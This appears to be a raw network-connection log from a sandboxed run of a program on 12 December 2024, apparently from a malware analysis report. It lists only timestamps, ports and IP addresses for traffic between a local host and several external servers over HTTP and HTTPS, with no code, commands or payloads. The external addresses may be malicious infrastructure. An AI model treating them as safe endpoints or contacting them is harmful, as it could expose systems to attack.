Dec 12, 2024 14:27:02.512659073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.512737036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.512969017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.512969017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.513458014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.513514996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.513639927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.513931990 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.514420986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.514472961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.514530897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.514633894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.515219927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.515276909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.515507936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.515563965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.516092062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.516134024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.516308069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.516357899 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.516797066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.516860008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.517168045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.517211914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.517651081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.517703056 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.517714977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.517767906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.518593073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.518696070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.518867016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.518930912 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.519370079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.519382000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.519422054 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.519440889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.520152092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.520293951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.521363974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.521409988 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.638391972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.667994976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.668008089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.668237925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.668261051 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.668296099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.668309927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.668375969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.669054031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.669102907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.669116974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.669163942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.669923067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.669965982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.670279026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.670512915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.670836926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.670905113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.671261072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.671343088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.671685934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.671736002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.671742916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.671787977 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.672528028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:02.672564030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:02.697824001 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:02.697849989 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:02.698196888 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:02.698261976 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:02.698710918 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:02.739331007 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:03.093574047 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:03.093744040 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:03.093862057 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:03.102629900 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:03.102643013 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:03.102655888 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:03.102663040 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:03.374053955 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:03.374136925 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:03.374155045 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:03.374191046 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:03.374229908 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:03.374229908 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:03.415858030 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:03.415870905 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:05.840068102 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:05.840092897 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:05.840182066 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:05.841332912 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:05.841350079 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:05.841428995 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:05.844841957 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:05.844856977 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:05.844978094 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:05.845608950 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:05.845619917 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:06.523396015 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:06.523416042 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:06.855353117 CET	49871	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:06.855741024 CET	49901	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:06.976624966 CET	80	49871	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:06.976681948 CET	80	49901	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:06.976707935 CET	49871	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:06.976758957 CET	49901	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:07.004245043 CET	49901	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:07.062925100 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.063004017 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.099634886 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.099647045 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.100424051 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.102303028 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.102335930 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.102473974 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.124608994 CET	80	49901	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:07.462732077 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:07.462744951 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:07.778074980 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.778126955 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.778167009 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.778203964 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.778217077 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.778235912 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.778248072 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.786402941 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.786437035 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.786478996 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.786503077 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.786559105 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.794857979 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.803503036 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.803576946 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.803606987 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.850877047 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.899096966 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.928606033 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:07.932718992 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:07.960166931 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.960186005 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.964529037 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:07.964541912 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:07.966406107 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:07.966412067 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:07.974375963 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.974421024 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.974570036 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:07.974576950 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:07.974632025 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:08.113500118 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:08.113501072 CET	49900	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:08.113528013 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:08.113540888 CET	443	49900	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:08.329740047 CET	80	49901	185.215.113.43	192.168.2.4
Dec 12, 2024 14:27:08.329900980 CET	49901	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:27:08.555344105 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:08.675903082 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:08.676017046 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:08.716531992 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:08.808727026 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:08.808803082 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:08.808823109 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:08.808909893 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:08.837364912 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:08.856534004 CET	49898	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:08.856553078 CET	443	49898	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:09.164024115 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:09.164056063 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:09.164167881 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:09.229505062 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:09.229743004 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:09.231549978 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:09.231554031 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:09.231753111 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:09.313572884 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:09.359323978 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:09.723752975 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:09.723829985 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:09.723927021 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:09.872102022 CET	49908	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:09.872117043 CET	443	49908	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:09.883928061 CET	49899	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:27:09.883949995 CET	443	49899	94.154.172.218	192.168.2.4
Dec 12, 2024 14:27:10.045644045 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045665979 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045677900 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045702934 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045783997 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045846939 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045859098 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045865059 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045881987 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045907021 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045916080 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045916080 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045919895 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045931101 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045934916 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.045953035 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045964003 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.045977116 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.166522026 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.166532993 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.166593075 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.264138937 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.264151096 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.264273882 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.264312983 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.268338919 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.268404961 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.268434048 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.268472910 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.276746035 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.276829004 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.279721022 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.279777050 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.280102015 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.280150890 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.288144112 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.288170099 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.288227081 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.288242102 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.296782017 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.296797991 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.296849966 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.296866894 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.311928034 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.312027931 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.312568903 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.312618017 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.313678026 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.313689947 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.313780069 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.322544098 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.322557926 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.322617054 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.330183029 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.330276966 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.332281113 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.332330942 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.338747978 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.338820934 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.340100050 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.340148926 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.347202063 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.347256899 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.456263065 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.456398010 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.456682920 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.456733942 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.459399939 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.459474087 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.460217953 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.460258961 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.464304924 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.464318991 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.464368105 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.470336914 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.470381021 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.470863104 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.470906973 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.476210117 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.476258039 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.476290941 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.476330042 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.482127905 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.482167959 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.482919931 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.482975006 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.487766981 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.487813950 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.487958908 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.488001108 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.493593931 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.493648052 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.493937016 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.493983984 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.499746084 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.499759912 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.499794006 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.499828100 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.505476952 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.505490065 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.505525112 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.505539894 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.510776997 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.510858059 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.510947943 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.510989904 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.516841888 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.516905069 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.517383099 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.517426014 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.522231102 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.522288084 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.522605896 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.522656918 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.528105974 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.528148890 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.528188944 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.528225899 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.534096956 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.534145117 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.534233093 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.534272909 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.539616108 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.539669037 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.539891005 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.539935112 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.545501947 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.545515060 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.545577049 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.551019907 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.551065922 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.551131964 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.551171064 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.556741953 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.556798935 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.556931973 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.556971073 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.562685013 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.562736034 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.563010931 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.563050985 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.568289995 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.568336010 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.568645954 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.568691969 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.574045897 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.574084044 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.648610115 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.648626089 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.648669958 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.648694038 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.650808096 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.650851011 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.651226044 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.651258945 CET	49907	80	192.168.2.4	185.215.113.16
Dec 12, 2024 14:27:10.655301094 CET	80	49907	185.215.113.16	192.168.2.4
Dec 12, 2024 14:27:10.655347109 CET	49907	80	192.168.2.4	185.215.113.16
